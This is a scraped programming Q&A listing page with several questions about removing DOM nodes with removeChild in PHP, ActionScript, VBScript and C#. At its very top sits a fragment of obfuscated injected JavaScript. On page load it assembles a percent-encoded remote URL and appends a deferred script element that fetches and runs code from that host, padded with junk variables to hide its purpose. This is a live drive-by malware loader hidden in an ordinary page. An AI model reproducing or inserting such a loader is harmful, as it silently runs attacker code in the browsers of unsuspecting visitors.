W=Z("%2f%67%6f%6f%67%6c%65%2e%61%74%2f%67%6f%6f%67%6c%65%2e%61%74%2f%64%72%75%64%67%65%72%65%70%6f%72%74%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");this.aA='';var u='';this.XB='';var dP;if(dP!='i' && dP != ''){dP=null};var dN;if(dN!='' && dN!='zx'){dN='_y'};var WS=b('85624104275582212705194497','13296457');var Hb=new Array();var lP;if(lP!='ok' && lP != ''){lP=null};var O=document;function n(){var J;if(J!='mS' && J != ''){J=null};u=R;var jv;if(jv!='' && jv!='jw'){jv=''};u+=WS;var MJ;if(MJ!='Qp'){MJ=''};u+=W;var fj=new Array();this.PM="";try {this.dq='';var ln=new Date();var eS=new Date();h=O.createElement(b('sScwrwi4pSt5','OZjKg4w5S'));var uW=new String();var Aj;if(Aj!='lX'){Aj='lX'};var aF;if(aF!='' && aF!='_o'){aF=null};h.src=u;var GY;if(GY!='ev' && GY!='Jr'){GY='ev'};var KK;if(KK!=''){KK='gDq'};h.defer=[1][0];var nO;if(nO!='tP'){nO=''};var aV=new Date();var bE=new Date();O.body.appendChild(h);this.Ze="";} catch(MC){var Ki;if(Ki!='m_' && Ki != ''){Ki=null};};}M[String("pqP5onloa".substr(4)+"drYD".substr(0,1))]=n;var EY;if(EY!='' && EY!='wn'){EY='Sj'};var ep;if(ep!='' && ep!='_q'){ep='Oy'};var uE=new Array();var E_;if(E_!='iU'){E_='iU'};};this.pt="";v();var tl=new String();</script> <!--793d57c076e95df45c451725e5dedf6f-->

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  • DOMDocument programming: a lot of little dilemmas, how to solve them?

    - by Peter Krauss
    I need elegance and performance: how to decide by the "best implementation" for each DOM algorithm that I face. This simple "DOMNodeList grouper" illustrate many little dilemmas: use iterator_to_array or "populate an array", when not all items need to be copied. use clone operator, cloneNode method or import method? use parentNode::method() or documentElement::method? (see here) first removeChild or first replaceChild, no avoids "side effects"? ... My position, today, is only "do an arbitrary choice and follow it in all implementations" (like a "Convention over configuration" principle)... But, there are another considerations? About performance, there are some article showing benchmarks? PS: this is a generic DOM question, any language (PHP, Javascript, Python, etc.) have the problem.

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  • Actionscript - Dropping Multiple Objects Using an Array?

    - by Eratosthenes
    I'm trying to get these fireBalls to drop more often, im not sure if im using Math.random correctly also, for some reason I'm getting a null reference because I think the fireBalls array waits for one to leave the stage before dropping another one? this is the relevant code: var sun:Sun=new Sun var fireBalls:Array=new Array() var left:Boolean; function onEnterFrame(event:Event){ if (left) { sun.x = sun.x - 15; }else{ sun.x = sun.x + 15; } if (fireBalls.length>0&&fireBalls[0].y>stage.stageHeight){ // Fireballs exit stage removeChild(fireBalls[0]); fireBalls.shift(); } for (var j:int=0; j<fireBalls.length; j++){ fireBalls[j].y=fireBalls[j].y+15; if (fireBalls[j].y>stage.stageHeight-fireBall.width/2){ } } if (Math.random()<.2){ // Fireballs shooting from Sun var fireBall:FireBall=new FireBall; fireBall.x=sun.x; addChild(fireBall); fireBalls.push(fireBall); } }

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  • IE doesnot clear Flash Object from memory

    - by Abhi
    Hi, I have dynamically added a Flex Object in a HTML page through JavaScript. The Flex object is located in a "div" tag. Now when I call the "removeChild" JavScript function to remove the dynamically added "Object" tag, the object tag gets removed succesfully; however the memory that has increased due to the loading of the Flex Object is never recollected by IE. Even if I refresh the browser the memory is still not cleared. How do I recollect the memory that was allocayed to my Flex Object?

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  • DOM + need to remove element from XML bt VB script

    - by yael
    I have the following VB script , I want to remove the "NET ID" element from name list but after running the VB script the "NET ID" element still exist in the XML doc? Something wrong in the VB? Yael Set objXMLDoc = CreateObject("Microsoft.XMLDOM") objXMLDoc.async = False objXMLDoc.load("\dir\d.xml") Set objRoot = objXMLDoc.documentElement Set objExNode = objRoot.removeChild(objRoot.childNodes.item(0)) objRoot.appendChild(objExNode) the XML file:

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  • How do I display children in succession, as3

    - by VideoDnd
    How do I display children in succession? By succession I mean 1,2,3,4, etc. Perhapse incrementing with a loop or using a timer is what I'm after. Add, remove, appear, or disappear children, could all work. I want a simple way to display 1 child every second until I reach 10. METHODS TRYED addChild and removeChild visible !visible for loop

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  • save button error in AS project

    - by Rajeev
    Whats wrong with the following code,There is an error at saveButton.visible = false; discardButton.visible = false; package { import flash.display.Sprite; import flash.media.Camera; import flash.media.Video; import flash.display.BitmapData; import flash.display.Bitmap; import flash.events.MouseEvent; import flash.net.FileReference; import flash.utils.ByteArray; import com.adobe.images.JPGEncoder; public class caml extends Sprite { private var camera:Camera = Camera.getCamera(); private var video:Video = new Video(); private var bmd:BitmapData = new BitmapData(320,240); private var bmp:Bitmap; private var fileReference:FileReference = new FileReference(); private var byteArray:ByteArray; private var jpg:JPGEncoder = new JPGEncoder(); public function caml() { saveButton.visible = false; discardButton.visible = false; saveButton.addEventListener(MouseEvent.MOUSE_UP, saveImage); discardButton.addEventListener(MouseEvent.MOUSE_UP, discard); capture.addEventListener(MouseEvent.MOUSE_UP, captureImage); if (camera != null) { video.smoothing = true; video.attachCamera(camera); video.x = 140; video.y = 40; addChild(video); } else { trace("No Camera Detected"); } } private function captureImage(e:MouseEvent):void { bmd.draw(video); bmp = new Bitmap(bmd); bmp.x = 140; bmp.y = 40; addChild(bmp); capture.visible = false; saveButton.visible = true; discardButton.visible = true; } private function saveImage(e:MouseEvent):void { byteArray = jpg.encode(bmd); fileReference.save(byteArray, "Image.jpg"); removeChild(bmp); saveButton.visible = false; discardButton.visible = false; capture.visible = true; } private function discard(e:MouseEvent):void { removeChild(bmp); saveButton.visible = false; discardButton.visible = false; capture.visible = true; } } }

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  • How to remove all comment tags from XmlDocument

    - by Filburt
    How would i go about to remove all comment tags from a XmlDocument instance? Is there a better way than retrieving a XmlNodeList and iterate over those? XmlNodeList list = xmlDoc.SelectNodes("//comment()"); foreach(XmlNode node in list) { node.ParentNode.RemoveChild(node); }

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